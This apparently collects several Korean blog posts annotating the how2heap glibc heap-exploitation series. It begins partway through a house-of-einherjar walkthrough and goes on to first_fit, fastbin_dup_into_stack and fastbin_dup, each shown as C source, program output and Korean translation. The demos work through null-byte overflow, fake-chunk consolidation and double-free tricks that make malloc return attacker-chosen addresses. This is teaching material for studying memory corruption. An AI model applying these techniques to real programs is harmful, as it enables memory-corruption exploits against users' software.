우리는 a를 하나의 null byte로 b의 metadata로 overflow한다

a[real_a_size] = 0; 

b.size: 0x100

This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit

이것은 b의 size가 0x100의 배수이면 엄청 쉽다. 그래서 너는 b의 size는 바꾸지 말고 이것의 prev_inuse bit만 바꿔라


If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk

만약 수정되었다면 우리는 다음 청크를 통합하려고 하는 b내부의 fake chunk가 필요하다.


We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk

우리는 가짜 prev_size를 a의 마지막 8바이트로 씀으로써 이것이 우리의 fake chunk와 통합될 것이다.

size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
Our fake prev_size will be 0x1927450 - 0x7ffe9a0f8ad0 = 0xffff80016782e980
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    // free b and it will consolidate with our fake chunk
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
이제 우리는 b를 free하고 b의 prev_inuse가 set되어있지 않기 떄문에 이것은 우리의 fakechunk를 통합한다.
    free(b);
Our fake chunk size is now 0xffff80016782ea81 (b.size + fake_prev_size)
우리의 fakechunksize는 이제 ~이다.

We edit our fake chunk size so that it is small enough to pass size checks
우리는 우리의 fake chunk size를 수정할수 있고 size check를 통과할수있을만큼 수정할 수 있다.

This wouldn't be necessary if our fake chunk was the top chunk (if we hadn't allocated c)
만약 fakechunk가 topchunk였다면(c를 할당하지 않았다면) 필요하지는 않다.
   fake_chunk[1] = 0x1000;
New fake_chunk size: 0x1000

Now we can call malloc() and it will begin in our fake chunk
이제 우리는 malloc을 호출하고 우리의 fakechunk를 시작한다.
   d = malloc(0x200);
Next malloc(0x200) is at 0x7ffe9a0f8ae0



#include 
#include 
#include 

int main()
{
	printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
	printf("glibc uses a first-fit algorithm to select a free chunk.\n");
	printf("If a chunk is free and large enough, malloc will select this chunk.\n");
	printf("This can be exploited in a use-after-free situation.\n");

	printf("Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
	char* a = malloc(512);
	char* b = malloc(256);
	char* c;

	printf("1st malloc(512): %p\n", a);
	printf("2nd malloc(256): %p\n", b);
	printf("we could continue mallocing here...\n");
	printf("now let's put a string at a that we can read later \"this is A!\"\n");
	strcpy(a, "this is A!");
	printf("first allocation %p points to %s\n", a, a);

	printf("Freeing the first one...\n");
	free(a);

	printf("We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);

	printf("So, let's allocate 500 bytes\n");
	c = malloc(500);
	printf("3rd malloc(500): %p\n", c);
	printf("And put a different string here, \"this is C!\"\n");
	strcpy(c, "this is C!");
	printf("3rd allocation %p points to %s\n", c, c);
	printf("first allocation %p points to %s\n", a, a);
	printf("If we reuse the first allocation, it now holds the data from the third allocation.");
}


This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.

이 파일은 공격을 설명하는게 아니지만 glibc allocator의 원리를 보여준다


glibc uses a first-fit algorithm to select a free chunk.

glibc는 first-fit algorithm을 free청크를 select할때 사용한다.


If a chunk is free and large enough, malloc will select this chunk.

만약 청크가 free이고 충분히 크다면, malloc은 이 청크를 select할 것이다.


This can be exploited in a use-after-free situation.

이거는 uaf상황에서 exploit될수 있다.


Allocating 2 buffers. They can be large, don't have to be fastbin.

2개의 버퍼를 할당하자. 그들은 fastbin이 되지 않을 만큼 크다.


char* a = malloc(512);
char* b = malloc(256);
char* c;


1st malloc(512): 0x2366420

2nd malloc(256): 0x2366630


we could continue mallocing here...

우리는 malloc을 여기에 계속할 수 있다.


now let's put a string at a that we can read later "this is A!"

이제 a에 "this is A"라는 string을 넣자


strcpy(a, "this is A!");


first allocation 0x2366420 points to this is A!

a는 "this is A"를 가리킨다.


Freeing the first one...

a를 free하자

free(a);

We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x2366420

우리는 아무것도 free할 필요 없다. 우리가 512보다 작은 값을 할당하는한, 이것은 0x2366420(a)으로 끝난다.


So, let's allocate 500 bytes

그래서 500바이트를 할당해보자

c = malloc(500);


3rd malloc(500): 0x2366420


And put a different string here, "this is C!"

그리고 "this is C!"라는 string을 넣는다.


strcpy(c, "this is C!");


3rd allocation 0x2366420 points to this is C!

3번째 allocation 0x2366420은 C를 가리킨다.


first allocation 0x2366420 points to this is C!

첫번째 allocation 0x2366420도 this is C를 가리킨다.


If we reuse the first allocation, it now holds the data from the third allocation.r

만약 우리가 첫번째 allocation을 재사용한다면, 이것은 세번째 allocation의 data를 가진다.


#include "stdio.h"
#include "stdlib.h"

int main()
{
	printf("This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	printf("1st malloc(8): %p\n", d);
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("Now the free list has [ %p ].\n", a);
	printf("Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	printf("4rd malloc(8): %p\n", malloc(8));
}



This file extends on fastbin_dup.c by tricking malloc into

returning a pointer to a controlled location (in this case, the stack).

이 파일은 fastbin_dup의 확장이다. malloc을 속여서 pointer를 컨트롤된 위치에 반환한다.(이 경우, 스택이다)

unsigned long long stack_var;

The address we want malloc() to return is 0x7fff571aa030(8+(char *)&stack_var)

우리가 malloc이 return하길 바라는 주소는 8+(char*)&stack_var


Allocating 3 buffers.

3개의 buffer를 할당하자

	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

1st malloc(8): 0x906420

2nd malloc(8): 0x906440

3rd malloc(8): 0x906460


Freeing the first one...

첫번째를 free한다

	free(a);

If we free 0x906420 again, things will crash because 0x906420 is at the top of the free list.

a를 한번더 free하면 crash가 난다. a가 free list의 top에 있기 떄문에


So, instead, we'll free 0x906440.

대신에 우리는 b를 free 할 것이다

free(b);

Now, we can free 0x906420 again, since it's not the head of the free list.

이제 우리는 a를 다시 free 할 수 있따. 이것이 free list의 head가 아니기 때문

	free(a);

Now the free list has [ 0x906420, 0x906440, 0x906420 ]. We'll now carry out our attack by modifying data at 0x906420.

이제 free list 는  [ 0x906420, 0x906440, 0x906420 ]를 가진다. 우리는 이제 0x906420(a)의 데이터를 수정함으로써 우리의 공격을 수행할 것이다

	unsigned long long *d = malloc(8);

1st malloc(8): 0x906420(d)

2nd malloc(8): 0x906440(malloc(8))


Now the free list has [ 0x906420 ].

이제 free list는 [0x906420]만을 가진다


Now, we have access to 0x906420 while it remains at the head of the free list.

so now we are writing a fake free size (in this case, 0x20) to the stack,

so that malloc will think there is a free chunk there and agree to

return a pointer to it.

이제, 우리는 0x906420으로의 접근권한을 가진다. 이것이 free list의 head로 남아있는 동안.

그래서 지금 우리는 가짜 free size(이경우 0x20)을 스택에 쓸 것이다.

그래서 malloc이 그곳에 free chunk가 있다고 생각하고 그곳으로 pointer를 반환하도록 동의하게 한다.

stack_var = 0x20;


Now, we overwrite the first 8 bytes of the data at 0x906420 to point right after the 0x20.

이제 우리는 0x906420에 있는 데이터의 첫 8byte를 0x20뒤에 있는 포인터로 덮어쓴다.


*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

3rd malloc(8): 0x906420(malloc(8)), putting the stack address on the free list

4rd malloc(8): 0x7fff571aa030(malloc(8))


'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap정리] house of einherjar  (0) 2017.01.15
[how2heap정리]fist_fit  (0) 2017.01.14
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16


#include "stdio.h"
#include "stdlib.h"

int main()
{
	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	printf("1st malloc(8): %p\n", malloc(8));
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("3rd malloc(8): %p\n", malloc(8));
}


This file demonstrates a simple double-free attack with fastbins.

이 파일은 fastbin에서의 간단한 double-free attack을 설명한다


Allocating 3 buffers.

3개의 버퍼를 할당

int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

1st malloc(8): 0x2145420

2nd malloc(8): 0x2145440

3rd malloc(8): 0x2145460


Freeing the first one...

첫번째를 free한다 

free(a);

If we free 0x2145420(a) again, things will crash because 0x2145420(a) is at the top of the free list.

만약 우리가 a를 다시 free한다면 crash가 일어난다. a가 free list의 top에 있기 때문이다.


So, instead, we'll free 0x2145440(b).

그래서 대신 우리는 b를 free할 것이다

free(b);

Now, we can free 0x2145420(a) again, since it's not the head of the free list.

이제 우리는 a를 다시 free할 수 있다. 왜냐하면 a는 더이상 free list의 head가 아니기 때문이다

free(a);

Now the free list has [ 0x2145420(a), 0x2145440(b), 0x2145420(a) ]. If we malloc 3 times, we'll get 0x2145420(a) twice!

이제 free list는 [ 0x2145420(a), 0x2145440(b), 0x2145420(a) ] 를 가진다. 만약 우리가 3번 malloc한다면 우리는 0x2145420을 두번가진다


1st malloc(8): 0x2145420

2nd malloc(8): 0x2145440

3rd malloc(8): 0x2145420



'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap정리]fist_fit  (0) 2017.01.14
[how2heap 정리]fast_bin_dup_into_stack  (0) 2017.01.07
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16
[how2heap정리]house of spirit  (0) 2016.12.16

+ Recent posts